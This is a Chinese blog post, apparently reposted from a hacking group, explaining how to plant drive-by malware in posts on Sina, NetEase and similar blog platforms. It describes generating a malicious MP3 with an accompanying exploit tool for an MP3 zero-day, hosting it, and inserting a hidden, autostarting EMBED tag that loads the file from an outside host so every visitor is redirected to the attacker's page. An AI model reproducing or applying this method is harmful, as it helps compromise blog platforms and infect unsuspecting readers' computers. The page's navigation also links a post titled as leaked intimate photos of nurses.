新浪网易和讯等博客通用挂马方法

原理是利用了前段时间的MP3 0day。

具体利用方法如下:

先用随文附带的利用工具生成一个MP3文件,地址中填自己要挂马的网址。
然后将MP3文件上传到自己的空间里,记下此mp3的地址。
然后进入新浪或网易等博客,随意写一篇日志,选择源码编辑模式
在当中加入
<EMBED height=1 type=application/x-mplayer2 align=baseline pluginspage="" width=1 src=http://www.spiger.cn/love.mp3 ALLOWSCRIPTACCESS="samedomain" BORDER="0" AUTOSTART="1"></EMBED>


http://www.spiger.cn/love.mp3 替换为你的MP3文件网络链接地址。

当有人打开这篇文章就会自动转向你指定的页面,



信息来源:邪恶八进制信息安全团队

上一篇: 防止Serv-U权限提升
下一篇: 重庆医科大学附属第二医院住院部护士艳照
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags:
相关日志:
评论: 1 | 引用: 0 | 查看次数: -
kousuke
回复回复kousuke[2010-10-19 00:49 AM | | | 广东省广州市 电信(番禺区)| del | 取消审核]
[ 正在加载评论信息,请稍后... ]
发表评论
昵 称:
密 码: 游客发言不需要密码.
邮 箱: 支持Gravatar头像.
网 址: 输入网址便于回访.
内 容:
验证码:
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.